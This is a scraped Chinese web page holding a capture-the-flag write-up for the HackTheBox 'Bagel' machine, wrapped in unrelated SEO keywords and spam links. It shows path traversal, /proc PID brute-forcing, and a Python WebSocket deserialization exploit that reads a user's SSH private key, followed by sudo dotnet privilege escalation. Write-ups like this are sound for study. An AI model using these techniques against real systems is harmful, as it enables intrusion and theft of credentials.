当前位置: 首页 > news >正文

泉州网站建设托管wordpress制作实践

泉州网站建设托管,wordpress制作实践,怎样在绍兴e网做网站,凡科网建站入门教程Bagel 今天我开始了《Red Team Development and Operations A Practical Guide》的学习#xff0c;保持学习#xff0c;后面差不多到时机后就学CRTOⅡ Bagel 是一款中等难度的 Linux 机器#xff0c;其特点是电子商店容易受到路径遍历攻击#xff0c;通过该攻击可以获取应…Bagel 今天我开始了《Red Team Development and Operations A Practical Guide》的学习保持学习后面差不多到时机后就学CRTOⅡ Bagel 是一款中等难度的 Linux 机器其特点是电子商店容易受到路径遍历攻击通过该攻击可以获取应用程序的源代码。然后该漏洞用于下载“.NET”WebSocket服务器该服务器一旦反汇编就会显示纯文本凭据。进一步的分析揭示了一个不安全的反序列化漏洞该漏洞被用于读取任意文件包括用户的私钥“SSH”。使用密钥在计算机上获取立足点之前发现的密码用于透视到另一个用户该用户可以使用具有“root”权限的“dotnet”工具。此错误配置用于执行恶意的“.NET”应用程序从而导致权限完全升级。 外部信息收集 端口扫描 循例nmap Web枚举 8000 发现这里存在任意文件读取 我们可以读取到app.py dont forget to run the order app first with dotnet path to .dll command. Use your ssh key to access the machine.这句话向我们提供的信息我想5000端口就是这个程序 虽然也不是第一次遇到任意文件读取去读/proc下的东西但是这一台靶机彻底的加深了我的印象 由于它在命令行运行dll的时候需要指定dll文件的路径所以我们可以通过爆破pid来读取/proc/pid/cmdline找到那个dll路径再通过任意文件读取去下载它然后对dll进行一个反编译 生成数字字典 for i in {1..1000};do echo $i ./nums.txt;doneffuf 我在pid 933发现了它 /opt/bagel/bin/Debug/net6.0/bagel.dllcurl下下来 Foothold MessageReceived函数将我们发送的json字符串反序列化后进行了一次序列化然后返回给客户端。 跟踪到Handler序列化和反序列化函数都使用type 4 当类型值为4时将允许处理程序从序列化数据中推断正确的类型。同时为了能够利用它我们还能够看到result被指定为Object否则的话可能会由于类型不一致导致报错。 object result; ...在看另一个类File public class File{// Token: 0x17000007 RID: 7// (get) Token: 0x0600001C RID: 28 RVA: 0x00002400 File Offset: 0x00000600// (set) Token: 0x0600001B RID: 27 RVA: 0x000023DD File Offset: 0x000005DDpublic string ReadFile{get{return this.file_content;}set{this.filename value;this.ReadContent(this.directory this.filename);}}// Token: 0x0600001D RID: 29 RVA: 0x00002418 File Offset: 0x00000618public void ReadContent(string path){try{IEnumerablestring values File.ReadLines(path, Encoding.UTF8);this.file_content string.Join(\n, values);}catch (Exception ex){this.file_content Order not found!;}}我们能够利用ReadFile属性来进行任意文件读取原因是当进行反序列化时我们将能够设置ReadFile属性即设置filename字段并触发ReadContent()此时我们还无法获取到文件内容当再进行一次序列化时file_content字段这些数据就会被带出来。 import websocket,jsonws websocket.WebSocket() ws.connect(ws://bagel.htb:5000/) # connect to order app order {RemoveOrder:{$type: bagel_server.File, bagel, ReadFile:../../../../home/phil/.ssh/id_rsa}} data str(json.dumps(order)) ws.send(data) result ws.recv() print(result)我们还需要将ReadOrder改为RemoveOrder这样我们就能不触发ReadOrder过滤…/的ReadFile而是直接执行由我们指定的ReadFile函数了 运行exp我们能够得到phil的ssh私钥 登录ssh 本地横向移动 - developer 前面在DB类里面发现了一组凭据但遗憾的是developer不能使用密码登录ssh 不过我们现在立足后可以在内部使用su 本地权限提升 sudo -l 轻松的提权 先把bagel的project复制到tmp vim改Program.cs我这里选择读root flag sudo dotnet run我们将得到它
http://www.dnsts.com.cn/news/176606.html

相关文章:

  • 网站阿里云备案要多久网站定向搜索
  • 开发高端网站建设价格营销团队建设
  • 如何做网站联盟wordpress 获取链接地址
  • 加强网站建设的请示做视频网站怎么备案
  • 做外卖有哪些网站有哪些常熟沿江开发区人才网
  • j2ee网站开发教程手机相册备份网站源码
  • 多仓库版仓库管理网站建设源码新媒体营销案例
  • ps网站怎么做滑动背景图片市场营销计划
  • 兰州中川国际机场t3航站楼做网站用小型机或服务器
  • 南昌seo站外优化太原网站科技公司
  • 公司网站建设调研做国际贸易如何建网站
  • 帮人做微信是哪个网站企业模版
  • 微官网与手机网站首页新平台推广赚钱
  • 开源asp学校系统网站网站服务器是什么东西
  • 制作单网页网站做网站的接私活犯法吗
  • 足球网站怎么做如何刷网站排名
  • 涪陵做网站移动路由器做网站服务器
  • 公司网站需求分析酒水在什么网站做推广好
  • 临汾做网站公司wordpress文章默认模板名叫什么
  • 成都网站建设scdzks建设企业网站的目的以及意义
  • 海天建设集团有限公司网站企业网站建设维护
  • 外贸网站翻墙做广告邢台123最新消息
  • 专业制作彩铃网站青岛网站建设方案书
  • 手机上怎么制作网站北京检查站优化
  • 如何建学校网站网站建设com
  • pc 网站开发设计个体网站建设
  • 甘肃省住房和城乡建设局网站网站建设与网页设计是什么意思
  • 深圳网站建设哪家口碑好建设网站的策划书
  • 网站域名建设怎么填写ps做网站首页怎么运用起来
  • 哈尔滨网站建设设计ps海报素材网站